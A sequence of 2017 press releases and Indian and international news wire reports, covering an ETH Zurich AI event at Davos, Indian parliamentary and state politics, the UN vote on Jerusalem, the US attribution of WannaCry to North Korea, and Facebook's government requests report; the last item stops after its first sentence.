ETH Zurich - ranked among the top ten universities in the world - hosts a pre-Annual Meeting interactive discussion on the topic, "RETHINKING INTELLIGENCE". While future applications of machine learning demonstrate potentially impressive capabilities, they have also sparked deep controversy. "How do we code to ensure a sustainable future while avoiding self-destruction?" As a member of the international and Swiss press, we invite you to join this event for an inside scoop on "superintelligence." Your presence ensures access to top leaders and researchers from Google Research Europe, IBM Research Zurich, Disney Research, Starmind, Silicon Valley Robotics, and ETH Zurich robotics and AI experts.John Fraher, Bloomberg News, will moderate an interactive discussion that explores the risks and potential of AI - possibly the last invention of humankind.

More informationhttp://bit.ly/ETHatWEF2018_Press

RSVP to ETH Zurich's press exclusive in Davos

Robotic and Neuroscience Exhibits

Public Exhibition - January 23 - 25, 2018

Open daily, 11:00 - 16:00

Even if you are unable to join us in Davos, we invite you to write about some of the robotics and neuroscience demos that will inspire future applications in AI. We provide you with advance access to the multi-media packages for the project demos included in ETH Zurich's public exhibition. Here are just two examples, much more to be revealed.

ANYmal

A quadrupedal robotic dog, ANYmal is an autonomous search and rescue robot that can map its environment and navigate its own path. ETH Zurich's Robotic Systems Lab designed ANYmal to operate in challenging environments such as industrial inspection of oil and gas sites.

Dextra

Challenge Dextra to a timeless game of Rock-Paper-Scissors, but do not be disappointed if she seems to anticipate your every move. This robotic hand uses a brain-inspired neural network and camera to recognize your hand gestures and anticipate your every move.

Quotes

"Despite the extensive robotics research effort in the last few decades, robots are still not "intelligent." They do not have real tactile interaction capabilities and still require highly skilled people to program even the simplest tasks." Roland Siegwart, Head of ETH Zurich's Autonomous Systems Lab.

"Creators of intelligent systems currently follow two distinct paths. The first aims to realize brain-like computation by re-engineering the exact properties of neurons and the networks within the brain. The second approach aims to understand the high-level neural algorithms that the brain uses for computation and to replicate it in computer hardware. It is not yet clear which approach will win the race." Benjamin Grewe, ETH Zurich Assistant Professor of Neuroinformatics and Neuronal Systems.

SOURCE ETH Zurich
Analyzing the type of files that have been sent and shared in 2017 via its services from mobile to desktop as well as the website, Send Anywhere found that nearly half or 48% of the files that were sent and shared were images or photos. Video takes the second place as the most shared file type at 21%. Other files that Britons shared were audio, documents, and others. The result is not very surprising considering that in 2017 alone, it's predicted that 1.2 trillion photos were taken globally.

"People on average send 20 to 30 photos via their messaging apps, but the number of photos people send and share is increasing at a rapid rate. With Send Anywhere, users can send any number of photos or any large-sized videos without worrying about the size restriction or data," commented Seung-Hyun SON, CMO of Send Anywhere.

Send Anywhere officially launched in the UK in June and has seen explosive growth since, increasing its user base by almost 300%.

"We have seen strong growth among users in the creative industry, photographers, designers and videographers, people who handle large files daily and needs a service that is easy to use, secure and fast," said Seung-Hyun. "We continue to expect to see strong growth in the UK and we will engage with our core audience to improve the user experience."

Send Anywhere has launched the Send Anywhere Awards in September, partnering with the prestigious British Journal of Photography to find hidden talent and send one lucky winner to a dream destination of choice. The final winner, Sarah Pannell, announced in November will travel to Egypt and document the aftermath of Arab Spring in the area.

About Send Anywhere:

Founded in 2012 in Seoul, Send Anywhere, the brainchild of Estmob Inc. is a file sharing service that takes an easy, quick, and unlimited approach to file sharing. Easily, it lets you transfer any file type, across any platform, all without requiring signing up or logging in. Quickly, given network conditions, it finds the optimal network path to ensure the fastest transfer. As for unlimited, you can send any sized file, as many times as you want, all for free. Send Anywhere works across Amazon Kindle, Android, iOS, Windows PC and Phone, Mac, Linux, Web Widget, API, WordPress Plugin, and for Samsung Printers.

For more information, please contact:

Jaeman Lee

+82-10-7759-3326

jaeman.lee@estmob.com

Related Links:

https://send-anywhere.com

Photo - http://mma.prnewswire.com/media/621154/What_do_Britons_share_the_most.jpg

SOURCE Estmob Inc.
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New Delhi, Dec 15 : The Winter Session of Parliament began on a stormy note on Friday with the opposition disrupting the Rajya Sabha and forcing its adjournment repeatedly when it raked up the issue of Prime Minister Narendra Modi accusing his predecessor Manmohan Singh and others of conspiring with Pakistan to defeat the BJP in Gujarat elections.

There was uproar as the opposition also raised the issue of disqualification of dissident Janata Dal-United leader Sharad Yadav and another party member Ali Anwar Ansari during the inter-session period under the anti-defection law.

Rajya House saw repeated adjournments in the pre-lunch and post-lunch sittings.

In the morning, Chairman M. Venkaiah Naidu announced his disqualification decision soon after the House met for the day, citing defection as the ground for their disqualification.

As the opposition members raised objections to it, Naidu said that there could not be any discussion on the Chair's ruling.

"We are not challenging your ruling. But the facts given as ground for disqualification are not (plausible). Sharad Yadav has not defected from the Mahagathbandhan. It is Bihar Chief Minister Nitish Kumar and his companions who have deserted the Mahagathbandhan. In fact, they should be disqualified," Azad said.

The JD-U MPs loudly objected to it while the opposition members came near the Chair's podium shouting slogans. The Chair adjourned the House till 12 noon.

When the House met for Question Hour, there were heated exchanges between the opposition and the government over the Prime Minister's allegations against Manmohan Singh and others.

"This is not an ordinary allegation. Questions have been raised over the integrity of a former Prime Minister, former Vice President and several retired diplomats," Leader of Opposition in the Rajya Sabha Ghulam Nabi Azad said as he demanded a discussion on the issue.

However, Naidu rejected the request and asked the members to continue with Question Hour.

Members rushed near the Chairman's podium and indulged in slogan shouting, forcing the Chair to adjourn the House till 2.30 p.m..

Modi had claimed that during a meeting at Congress leader Mani Shankar Aiyar's house, the guests including Manmohan Singh, discussed the Gujarat polls with Pakistan's High Commissioner to India and former Pakistani Foreign Minister Khurshid Kasuri.

As soon as the House met after the lunch break, Samajwadi Party member Naresh Agarwal raised a Point of Order on the government giving an affidavit in the Supreme Court regarding setting up of fast track courts for trials of the elected representatives.

As Deputy Chairman P.J. Kurien disallowed discussion on the topic, the opposition members created pandemonium.

Kurien adjourned the House for 10 minutes but as soon as it reconvened, the opposition members came near the Chair's podium shouting slogans. Kurien then adjourned the House for the day. Amidst the din, some private members' bills were also introduced.

Earlier, Naidu congratulated Indian sportspersons, including nominated member Mary Kom, who performed well recently at international events.

Prime Minister Modi also introduced the new members of his Council of Ministers to the House.

The Lok Sabha was adjourned for the day till Monday.

Lok Sabha Speaker Sumitra Mahajan condoled the deaths of three sitting and some other former members, including former union minister and Congress leader Priya Ranjan Dasmunsi.
New Delhi, Dec 15 : Assam expects investments in Tourism, Information Technology, Agriculture, Food Processing, Energy and Pharmaceutical sectors from across the globe, especially Asean member-nations, in the state's first global investors' summit on February 3-4, 2018.

At a press conference here, Assam Chief Minister Sarbananda Sonowal on Friday also announced allocation of Rs 100 crore for improving air connectivity with the Association of Southeast Asian Nations (Asean) member-countries and other foreign destinations.

Stating that ministers and officials from the Assam government had already visited the US, Canada, Japan, South Korea, Singapore and many other countries for holding roadshows, Sonowal said they had received a positive response from both industry and diaspora.

"The vision of the summit is to build an economic development model that links the North East India with Bangladesh, Bhutan, Nepal and Asean members," said Sonowal while addressing the media on "Advantage Assam: Global Investors Summit 2018", to be hosted under the banner of Advance Assam.

Asked about the investments he is expecting during the two-day summit, Sonowal told IANS: "Already, we have received a business investment of Rs 6,500 crore after the BJP government came to power. Most of the investments have come from Patanjali and Dabur, among others."

"During our roadshows, we have already been promised investments. the investors will accordingly invest after the summit is held," Sonowal told IANS.

Earlier in the day, he met some ambassadors of Asean countries and other important strategic partners of India, such as Germany, Turkey, Israel, Afghanistan, Kazakhstan, and urged them to send their business delegates to the summit.

Sonowal apprised the envoys of the state's turnaround into a growing economy and drew their attention to Assam's business and investment-friendly climate.

After the Chief Minister's one-on-one interaction with Ambassador of Japan to India Kenji Hiramatsu, Sonowal said he had invited investments from Japan and offered his total and unconditional support in this regard.

Following his interaction with Sonowal, Ambassador of Singapore Lim Thuan Kuan said: "Assam has a lot of advantages for business and our companies are very interested in the prevailing opportunities in Assam."

"The state government is committed to creating a congenial eco-system for attracting investments and is already working for creating the desired skilled manpower and ensuring complete ease of doing business," said Sonowal, who was accompanied by state Minister for Industries and Commerce Chandramohan Patowari and Chief Secretary V.K. Pipersenia.

The Chief Minister announced that the Assam government had also started work on the 65-storey twin Global Trade Centre, "which will be a symbol of trade and business in the Gateway to South East Asia".

"We are also trying for better Internet connectivity to the north-eastern states through Bangladesh' Cox Bazar. Once completed, it will change the digital and industrial scenario in the entire North East.

"The tremendous potential of the human resources of the region, particularly our youngsters in the field of IT will help us in building a strong IT hub," said Sonowal.

According to Sonowal, apart from the Asean members, Afghanistan, Slovenia, Germany, Turkey and many other nations across the globe will participate in the summit.
New Delhi, Dec 15 : The BJP on Friday ruled out Prime Minister Narendra Modi's apology over the issue of the attack on his predecessor Manmohan Singh during the Gujarat election campaign even as Modi asked the party MPs and NDA allies to aggressively counter any opposition onslaught on the government during the winter session of Parliament.

After a meeting of BJP and NDA leaders attended by the Prime Minister, Parliamentary Affairs Minister Ananth Kumar said, "The question of PM's apology does not arise. In fact, they should apologise for meeting with Pakistani leaders. We are ready to answer every issue raised by the opposition."

The Prime Minister also observed that the bill on triple talaq, cleared by the union cabinet, is revolutionary and should be publicised on a large scale.

Kumar's remarks came in the wake of the Congress stalling the first day of the winter session of parliament in the Rajya Sabha and forcing its adjournment repeatedly while raking up the issue of Modi accusing Singh and others of conspiring with Pakistan to defeat the BJP in the Gujarat elections.

"This is not an ordinary allegation. Questions have been raised over the integrity of a former Prime Minister, former Vice President and several retired diplomats," Leader of Opposition in the Rajya Sabha Ghulam Nabi Azad said as he demanded a discussion on the issue.

Modi had claimed that during a meeting at Congress leader Mani Shankar Aiyar's house, the guests including Manmohan Singh, discussed the Gujarat polls with Pakistan's High Commissioner to India and former Pakistani Foreign Minister Khurshid Kasuri.

As the Congress indicated that it is going to be aggressive on the issue in the coming days in parliament, the Prime Minister asked the BJP and its allies to counter the opposition's onslaught aggressively.

"Whoever makes baseless allegations on treasury benches... no need to remain seated peacefully...counter them aggressively," a source quoted the Prime Minister as saying in a meeting of NDA leaders at Parliament House here.

According to sources the Prime Minister also urged the NDA allies to support the Bills listed for passage in the session, saying, "These Bills are associated with common men's interest."

The NDA meeting was preceded by a meeting of the BJP parliamentary party executive committee which discussed the strategy to counter the opposition.

Sources said the Prime Minister asked the senior leaders to ensure 100 per cent attendance of the members for the entire session.

In the monsoon session, the Modi government faced embarrassment in the Rajya Sabha as many BJP MPs were missing when a crucial bill seeking to grant constitutional status to the National Commission for Backward Classes came up for amendment. The government is keen to get the bill passed.

BJP President Amit Shah, who made his debut in the Rajya Sabha, was welcomed by the BJP leaders.

Home Minister Rajnath Singh, Finance Minister Arun Jaitley and senior ministers and leaders are members of the committee.

After Narendra Modi became the Prime Minister, the BJP formed the first-of-its kind Parliamentary Party Executive Committee.
New Delhi, Dec 17 : Soha Ali Khan, an Oxford graduate who pursued a masters degree from the London School of Economics and Political Science, says her parents didn't particularly encourage her to take up acting but never discouraged her from following her heart either.

Soha is the youngest daughter of veteran actress Sharmila Tagore and the late Mansoon Ali Khan Pataudi.

"As far as acting is concerned, I wouldn't say I was discouraged from acting but I was not encouraged to be an actor. My parents certainly felt my personality was not suited to acting in Hindi films and so I would be happier and better at doing something else. Also, they felt, like any parent, a little protective as there's a lot of competition, insecurity and unpredictability in the film industry," Soha told IANS over phone from Mumbai.

She says they always wanted her to opt for something "stable" and so she gave working at Citigroup as a private banker a try.

"It was about making my parents proud and especially for my father... I wanted to make him proud. I knew he wanted me to do something more in the corporate space. So I tried that but my heart was really not in it, which is why then I started working in films. It was a difficult choice but I knew my parents would embrace it whole-heartedly.

"Ultimately, they wanted me to be happy. They were not ones to dictate that 'You're not allowed to do this, or you must do this'. They believe in letting you go and let you live your life. They will be there to pick you up if you fall down," added the actress, now a mother to a girl.

Having featured in films like "Rang De Basanti", "Tum Mile" and "Go Goa Gone", Soha has come up with her debut book titled "The Perils of Being Moderately Famous", in which she talks about how she is not "really" in the league of her family members and yet not being "entirely anonymous".

She says even though she was drawn to the acting world, there was always an emphasis on education in her family.

"Especially in my mother's side of the family. My mother's mother had a masters degree, which was very rare at that time for a woman. Education has always been prized in our family," said Soha, whose mother Sharmila is related by birth to the famous Tagore family of Bengal.

"I always wanted to study. There has also been a tradition of going to the Oxford University... My grandfather, my father... So, I wanted to go there. I would like my daughter to go there too, but I wouldn't put pressure. It's a wonderful place to study. And more than what you get there academically, it's the whole life of being there, the exposure to that history and architecture, making the contacts... It's great education."

On the career front, she hopes to be back to the screen soon though she is enjoying her motherhood phase. She gave birth to her and actor Kunal Kemmu's daughter Inaaya Naumi Kemmu in September.
Mathura/Agra, Dec 17 : The Christian community in Agra and Mathura on Sunday alleged police high-handedness over the arrest of seven people in Uttar Pradesh's Mathura district on what it said were "fabricated charges of religious conversion".

The seven accused, now in judicial custody, were picked up by police from a house in a village after locals complained to the police that "outsiders" were fomenting trouble by resorting to forced conversion.

The charge was denied by the accused, who told the police that it was a private family affair involving relatives. But a local activist alleged that the police came under pressure from "Hindutva groups" to act against the Christians.

Ahead of the Christmas celebrations, the community says this was an attempt to hurt their religious sentiments by rounding up people without any investigation and on flimsy grounds.

"We may have to approach the Chief Justice of India to grant us all anticipatory bail as we may be arrested when we go out singing carols," said an agitated Christian leader in Mathura not wanting to be identified.

"Imagine, in the court some lawyers called us terrorists," he added.

Groups of lawyers mounted pressure when the bail application came up for hearing on Saturday, forcing adjournment till Tuesday, some lawyers said.

C. Michael, a community leader, told IANS that he had been trying to mobilize support and explain to police officials and also the local minister the real truth of the case.

"Of the seven arrested persons, two are Hindus. So how could they be involved in religious conversion? Our community is living in fear in Agra and Mathura, ahead of Xmas.

"But we are lining up support and lawyers and have full faith in our judiciary. It was a family programme. Outsiders were provoked and they interfered, making all kinds of charges," he added.

Christian leaders in Agra have met the parish priests, the Archbishop and other officials of different denominations.

Independent lawyers in Mathura indicated that the court had been virtually forced by the slogan-shouting brigade to postpone the decision till Tuesday.

A press conference scheduled for Sunday was called off as some supporters, fearing police action, backed out. A Hindu priest also chickened out, after initially agreeing to come out in their support.

Christian community leaders said their work was confined to providing healthcare and running schools.

"Some vested interests are deliberately trying to create differences and tarnish our image," said one of them who did not want to be identified by name.

The hearing of the bail application of the seven will take place on Tuesday.

On Saturday evening, lawyers headed by Mathura Bar Association President Braj Gopal Sharma and Secretary Trilok Chandra Sharma wanted the District Court to be fully satisfied with the sources of funding for "such religious activities".

The seven accused have been in judicial custody for the past 14 days.

Police officer Baij Nath Singh of Surir where the case was registered told IANS: "The seven were taken into custody after some villagers complained about religious conversion in a house."

According to the complainants, the accused were not only conducting religious ceremonies but also abusing Hindu gods.

Hindutva groups said there have been repeated attempts in Mathura, Hathras and Etmadpur areas to bring poor Hindus into Christian fold.

Superintendent of Police Aditya Shukla in Mathura told IANS: "It is entirely up to the court to decide the bail plea and judge the merits of the charges... The police have no role and we should not be accused of acting unfairly."
Chandigarh, Dec 18 : Punjab's ruling Congress party has emerged victorious in 20 out of 29 Municipal Councils and Nagar Panchayats, state election commission (SEC) official said on Monday.

Of the total 414 wards, the Congress won in 267 wards, while the Shiromani Akali Dal (SAD) won in 37, BJP in 15 (alliance partner of SAD), Aam Aadmi Party (AAP) in just one ward and independents in 94 wards.

Voting for the municipal elections was held on Sunday. The counting of votes started later in the evening.

The Congress party won all three Municipal Corporations (MC) of the state - Amritsar, Jalandhar and Patiala, where polling was held on Sunday.

Polling was not held for the Ludhiana Municipal Corporation as electoral rolls were not updated.

The Congress clinched 64 seats out of 85 wards in Amritsar MC, whereas the SAD won seven, BJP six and eight seats were won by independent candidates.

In Patiala MC, the Congress won 59 out of 60 wards. The SEC ordered a re-poll in one polling booth of a ward.

In Jalandhar MC, the Congress won 66 wards out of 80. The SAD won four wards while the BJP won eight seats. Two seats were won by the independent candidates.
Lucknow, Dec 18 : The Uttar Pradesh government presented a supplementary budget of Rs 11,388.17 crore for the financial year 2017-18 in the state assembly on Monday.

This is the first supplementary budget of the Yogi Adityanath-led Bharatiya Janata Party (BJP) government.

Of the major proposed allocations in the budget, Rs 58 crore has been earmarked for the Deendayal Upadhyaya Gram Jyoti scheme, Rs 200 crore for payment to sugarcane growers and Rs 164 crore for the police department, largely for modernisation, and Anti-Terrorism Squad and Special Task Force.

It also proposed an allocation of Rs 4 crore for the Purvanchal Expressway, Rs 1.3 crore for the International Buddhist Institute and Rs 7 crore for payment of power dues in state prisons.

The government has proposed a budgetary allotment of Rs 425 crore for medical colleges in the state and Rs 522 crore for the Swachh Bharat Mission.

Apart from this, Rs 200 crore has been proposed for the Civil Aviation Department, Rs 11 crore for the Kailash Mansarovar building to be built in Ghaziabad, Rs 84 crore for minority welfare, Rs 40 crore for roads leading to the fabled Kashi Vishwanath temple, Rs 1,125 crore for the Pradhan Mantri Awas Yojana and Rs 12 crore for strengthening of the Ram Ghat in Chitrakoot and other pilgrim hotspots.
Bengaluru, Dec 18 : Karnataka's ruling Congress on Monday expressed confidence in retaining power in poll-bound state despite its defeat to the BJP in Gujarat and Himachal Pradesh assembly elections.

Chief Minister Siddaramaiah said that the Gujarat results wherein the Bharatiya Janata Party (BJP) has won a majority of seats, would have "no impact" on the assembly polls in Karnataka, due in April-May next year.

"Gujarat results would have no impact on assembly polls in Karnataka. There is no anti-incumbency in state against the Congress or my government," he said, adding that the issues in two states -- Gujarat and Karnataka -- were "different".A

"I know the pulse of the people here (in Karnataka). I am sure we (Congress) will win in Karnataka.

"There is no connection between Gujarat results and the ensuing assembly election in Karnataka," the Congress leader asserted.

It was due to the leadership of Congress President Rahul Gandhi that the party could win more seats in Gujarat, compared to the 2012 elections, he added.

Congress national spokesperson and Karnataka Pradesh Congress Committee (KPCC) working president Dinesh Gundu Rao said their party's campaign was a "clean" one while the BJP's had "communal undertones".

"We (Congress) ran a good, clean campaign, spoke about development and people's issues. BJP ran a negative campaign with emotional issues and communal undertones," he said.A
Beijing, Dec 18 : Italy on Monday said it is eager to build stronger bilateral relations with China and boost "our strategic and comprehensive partnership" as Foreign Minister Angelino Alfano began a two-day visit to Beijing.

"FM #Alfano meets (China's) minister of foreign affairs Wang Yi 'Our common aim is to further deepen our traditional friendship and to step up our strategic and comprehensive partnership,'" said the Italian embassy here in a tweet.

Also on Monday, the two countries signed an accord for the export to China of pet food from Italy, the embassy tweeted.

Alfano is also scheduled to met top Chinese officials and Italians living and working in the Chinese capital, the Foreign Ministry said in a statement.

Alfano's first scheduled meeting was with his Chinese counterpart Wang at the Diaoyutai State Guesthouse.

The two then chaired the 8th Plenary session of the Italy-China Government Committee and signed a joint statement.

At the end of the first day, Alfano met the Italian and Chinese press.

On Tuesday, the agenda of Alfano's visit includes a meeting with State Councillor for Foreign Affairs and Politburo member, Yang Jiechi, at the Zhongnanhai State Residence, the ministry said.
United Nations, Dec 19 : Britain is in favour of an Egyptian-drafted Security Council resolution on the status of Jerusalem, said a British envoy to the United Nations on Monday.

"The United Kingdom will vote in favour of the Egyptian text on Jerusalem because it's in line with our long-standing position on Jerusalem, it's in line with previous Security Council resolutions," Xinhua quoted Matthew Rycroft, the British ambassador to the United Nations, as saying.

Rycroft said his country believes that Jerusalem is a final-status issue and that Jerusalem should be a shared capital for Israelis and Palestinians. The British embassy in Israel will remain in Tel Aviv, he added.

US President Donald Trump announced on December 6 that he was formally recognising Jerusalem as Israel's capital, causing criticism in the world and riots in the Middle East region.

Talking about a possible US veto of the draft resolution, Rycroft said the US continues to play an important role in the Middle East peace process.

He expressed the hope that the Trump administration will put forward detailed proposals to take that process forward.

He called on political leaders to encourage everyone to refrain from violence.

"It's only in a peaceful situation that the chances of peace will be maximized," he said.
Srinagar, Dec 19 : Two militants were killed on Tuesday in a gunfight between the security forces and the militants in Kashmir's Shopian district.

The gunfight had started in Batmuran village of Shopian district on Monday evening when the troops of Rashtriya Rifles (RR) and the Special Operations Group (SOG) of state police surrounded a house on a tip off.

The intelligence reports said that about two to three militants were hiding in that house, police said.

Police sources said two militants were killed in the encounter and one soldier sustained a minor injury.

The house in which the militants were hiding was destroyed during the gunfight.

"The operation is still going on in the area", Police said.
United Nations, Dec 19 : A Chinese envoy has called for unity of the United Nations Security Council (UNSC) and the international community at large over the issue of Jerusalem and for common effort toward peace in the Middle East.

After a vote in the UNSC on a draft resolution on the status of Jerusalem on Monday, Wu Haitao, charge d'affaires of China's permanent mission to the United Nations, said the issue of Palestine is at the core of Middle East peace and a root-cause issue.

The issue of Jerusalem is particularly complicated and sensitive, and involves the basis for finding a solution to the Palestinian issue, Xinhua quoted Wu as telling to the Security Council.

A series of Security Council resolutions, including Resolution 2334, made stipulations on the issue of Jerusalem.

The draft resolution put to a vote on Monday was in line with previous Security Council resolutions and is a continuation of the contents and spirit of past resolutions, said Wu, explaining China's "yes" vote on the draft resolution.

The Egyptian-drafted text won the support of 14 members of the Security Council, but was vetoed by the United States.

Wu called on the Security Council and the international community at large to remain united in an effort to de-escalate tensions concerning the status of Jerusalem for the sake of stability in the region and the Middle East peace process.

China has consistently supported and pushed forward the Middle East peace process, he said.
Washington, Dec 19 : White House Homeland Security Adviser Tom Bossert has said that the US believes North Korea was behind the massive "WannaCry" cyberattack in May, the media reported.

"After careful investigation, the US today publicly attributes the massive 'WannaCry' cyberattack to North Korea," Bossert wrote in a Wall Street Journal op-ed on Monday.

"The attack was widespread and cost billions, and North Korea is directly responsible."

The US has evidence for the claim, and the UK and Microsoft reached similar conclusions in their analyses of the attack, which plagued computers the world over in May, CNN quoted Bossert as saying.

The administration is calling on the private sector to do more to prevent such incidents, the adviser said, adding that Microsoft and others had taken action last week to disrupt North Korean hacking efforts.

CNN reported in June that UK intelligence believed a group associated with the North Korean government was behind the attack, and The Washington Post reported around the same time that the National Security Agency had reached a similar conclusion.

Bossert wrote that North Korea's "malicious behaviour" has gone on for years and is growing more egregious.

"WannaCry was indiscriminately reckless."

Pointing to threats outside of North Korea, Bossert said preventing similarly massive cyber incidents would take concentrated effort and that President Donald Trump had taken steps in the right direction, such as ordering the modernisation of government information technology to enhance the security of US computer systems and the sharing of software vulnerabilities with developers.

Bossert warned of the threat from Russian hackers and touted legal action taken against suspected hackers as well as the Trump administration's decision to ban software from the Russia-based company Kaspersky Lab in government computers.

The adviser pointed to the US government's recent charges against Chinese nationals for hacking and for identity and trade secret theft, as well as against Iranians for hacking, and he urged calling out "bad behaviour" by other countries, including what he called the "corrupt regime" of Tehran.

The global "WannaCry" cyberattack targeted computers running the Microsoft Windows operating system by encrypting data and demanding ransom payments in the Bitcoin cryptocurrency.

The attack took place on May 12 and infected over 230,000 computers in more than 150 countries.
San Francisco, Dec 19 : The Indian government requested Facebook for data 9,853 times in the first half of 2017 - up from 6,324 times in the first half of 2016 -- Facebook's latest 'Government Requests Report' revealed on Tuesday.

Facebook restricted access to 1,228 pieces of content "in response to legal requests from law enforcement agencies and the India Computer Emergency Response Team within the Ministry of Electronics and Information Technology," the company said.

"The majority of content restricted was alleged to violate local laws relating to defamation of religion and hate speech," Facebook said.

The Indian government and law enforcement agencies also requested for some information on 13,752 user accounts. Facebook produced "some data" in 54 per cent of the cases in the January-June 2017 period.

In the case of 262 Facebook accounts flagged in the "Emergency" category from user/account requests, the company produced "some data" in 36 per cent of the cases.

Facebook was down for 21 times in the first half for the Indian users.

"We are aware of disruptions affecting access to Facebook products and services in India that took place during all six months of this reporting period. These disruptions were contained to specific regions," the company said.

"For the first time, we are expanding the report beyond government requests to provide data regarding reports from rights holders related to intellectual property (IP) -- covering copyright, trademark, and counterfeit," said Chris Sonderby, Deputy General Counsel, Facebook.

In the first half of 2017, Facebook received 224,464 copyright reports about content on Facebook, 41,854 trademark reports and 14,279 counterfeit reports.

Requests for account data increased by 21 per cent globally compared to the second half of 2016 -- from 64,279 to 78,890.

"Fifty-seven per cent of the data requests we received from law enforcement in the US contained a non-disclosure order that prohibited us from notifying the user, up from 50 per cent in our last report," Sonderby said in a blog post.

Overall, the number of content restrictions for violating local law increased by 304 per cent globally compared to the second half of 2016 -- from 6,944 to 28,036.

"This increase was primarily driven by a request from Mexican law enforcement to remove instances of a video depicting a school shooting in Monterrey in January. We restricted access in Mexico to 20,506 instances of the video in the first half of 2017," Facebook added.

There were 52 disruptions of Facebook services in nine countries in the first half of 2017, compared to 43 disruptions in 20 countries in the second half of 2016.

"We continue to be deeply concerned by internet disruptions, which can create barriers for businesses and prevent people from sharing and communicating with their family and friends," Facebook said.
New Delhi, Dec 19 : Congress MP Anand Sharma on Tuesday asked the government to ensure adequate funds for setting up special courts to try criminal cases against politicians.

"The government should ensure allocation of adequate funds for setting up enough number of courts so that people do not remain in prison for long periods and the trial is done," Sharma said in the Rajya Sabha.

The issue was raised in the Upper House days after the Supreme Court gave its nod to the government's proposal to set up 12 fast track courts for exclusively prosecuting and disposing 1,581 criminal cases pending against MPs and MLAs within a year.

However, Leader of Opposition Ghulam Nabi Azad questioned why lawmakers were being singled out and urged the government to come up with a scheme for fastracking court cases of common citizens also.

"Law should be for everybody, legislators alone should not be singled out," Azad said.
Beijing, Dec 19 : China on Tuesday urged the US to "abandon its Cold War mentality and zero-sum game concept" after President Donald Trump labelled Beijing as a challenge to American power in a new document outlining his administration's National Security Strategy.

Chinese Foreign Ministry spokeswoman Hua Chunying warned Washington that failure to do so "would only harm itself as well as others".

"China will resolutely safeguard its sovereignty, security and right to develop," she said. "No one should have the fantasy of expecting China to swallow the bitter fruit of harming its own interests."

On Monday, Trump described China a "rival power" seeking to "challenge American influence, values and wealth".

The new document outlining his presidency's security strategy went even further as it called both China and Russia as "revisionist powers" who want "to shape a world antithetical to US values and interests".

The US President's security plan contrasts with the friendly nature of his first state visit to China in November when he received a lavish welcome.

His relations with Chinese President Xi Jinping appeared to be at an all time high that time with both lauding each others' achievements and Trump saying he didn't blame Beijing for "taking advantage" of previous US administrations.
New Delhi, Dec 19 : The government on Tuesday said that it will look into the details of why freedom fighters Bhagat Singh, Sukhdev, Rajguru and Chandra Shekhar Azad had not been given the status of martyrs.

The response came after the issue was raised in the Rajya Sabha by Indian National Lok Dal member Ram Kumar Kashyap during Zero Hour. Rajya Sabha Chairman M. Venkaiah Naidu also expressed concern, asking the government to look into the matter.

Union Law Minister Ravi Shankar Prasad said: "Bhagat Singh was held in highest esteem by the country and the government is dedicated to give all the respect to his supreme sacrifice. I will ascertain the details and get back to the House."

Kashyap said that he was distressed to learn that even Pakistan had conferred the title of Shaheed-E-Azam on Bhagat Singh whereas India had not, and called it "ridiculous".

"It is very disappointing that Bhagat Singh, Sukhdev, Rajguru and Chandra Shekhar Azad have not been given the status of martyrs. Questions would be raised why this status was not given to them," he said.

Intervening in the matter, Naidu said: "The Law Minister is here. He should discuss the matter with the Culture Ministry."
Jaipur, Dec 19 : Even as Sanjay Leela Bhansali's "Padmavati" continues to be a touchy topic, the BJP government in Rajasthan is planning to install a nine-feet-tall statue of the Chittor queen in Udaipur to cash in on the Rajput vote bank in the state.

According to informed sources, state Home Minister Gulabchand Kataria had organised a quick meeting with the sculptor in November. He was directed to finish the project at the earliest.

The statue, being designed in Jaipur, would be ready in five-to-six months in which Queen Padmavati would be shown walking towards performing the "jauhar", or mass self-immolation.

In 2016, the Vasundhara Raje government had issued orders for the construction of statues of famous Rajput personalities, including Panna Tai, Rana Kumbha, Bappa Rawalji, Kesari Singh and Vijay Singh Pathik, the sources confirmed.

The project was hanging in the balance as no follow-up direction was issued.

Now, in the wake of a national storm over the "Padmavati" film, the government has set out to gain political mileage from the issue, they said.

The scheduled release of the Deepika Padukone, Ranveer Singh and Shahid Kapur-starrer "Padmavati" was deferred after protests broke out in several places, including Rajasthan, Madhya Pradesh and Gujarat, demanding a ban on the film for "distorting historical facts".

The film was earlier scheduled to release on December 1.
New Delhi, Dec 19 : There is a threat to RJD chief Lalu Prasad's life, said party MP Jay Prakash Narayan Yadav and urged the Central government to reinstate his Z-Plus security cover.

"There is a threat to his life and his security has been downgraded... he can be killed," Yadav said raising the issue during Zero Hour in the Lok Sabha on Tuesday.

"I request the Centre to reinstate his security," he said.

The Rashtriya Janata Dal had also given an adjournment motion notice over the issue, which was rejected by Speaker Sumitra Mahajan.

The Central government last month scaled down the Z-Plus security cover of Lalu Prasad provided by the National Security Guard commandos to leaders in the Z category.
New Delhi, Dec 19 : The Congress is venting its frustration over its electoral defeat by stalling Parliament, Union Parliamentary Affairs Minister Ananth Kumar said here on Tuesday.

"The Congress party had been pressing for the Winter Session. Now when the session is on, why are they stalling Parliament and running away," he said.

The Lok Sabha saw repeated adjournments as the Congress MPs again raised the issue of allegations levelled by Prime Minister Narendra Modi against former Prime Minister Manmohan Singh, and disrupted the House when Speaker Sumitra Mahajan denied them permission.

"Today they (Congress MPs) came in the Well and enacted mock proceedings. This is wrong, shameful and against parliamentary conduct. We condemn it. They should give proper notice for the issues they want to discuss," Kumar said.

"They are trying to vent their frustration and disappointment of the defeats they faced in Himachal Pradesh and Gujarat," he added.

He said the BJP's victories and Congress' defeats in one state after another shows which party and which leader has more credibility at present.

However, the Minister eluded a direct reply to Congress President Rahul Gandhi's allegation that the BJP is running away from discussion on BJP chief Amit Shah's son Jay Shah and the Rafale fighter jets deal with France.

"I would only request the Congress party members to come to Parliament, take part in its proceedings and discuss issues through proper notices," the Minister said.
Lucknow, Dec 19 : A Vishwa Hindu Parishad affiliated activist group on Tuesday warned schools in Aligarh of dire consequences if they celebrated Christmas.

The Hindu Jagran Manch, in a letter to all city schools, has said that if the festival is celebrated by them they would be doing it "at their own risk".

The warning has sent the jitters down the spines of missionary schools across the city who have been celebrating Christmas, the birthday of Lord Jesus Christ, with gaiety every year.

Soon after the news spread, school managements expressed concern over the warning and called for security.

"We have been celebrating Christmas for so many years and every child takes part in it so happily, how can some fringe elements decide on what is to be done and what not," said a school principal on the condition of anonymity.

Senior Superintendent of Police Rajesh Pandey when contacted told IANS that there was no question of allowing anyone or any group to disrupt any festivities at the city schools. "Anything that is illegal will not be allowed and such designs will be foiled," he added.
New Delhi, Dec 19 : Motorola Mobility India on Tuesday welcomed the government's decision to hike customs duty from 10 per cent to 15 per cent on mobile handsets.

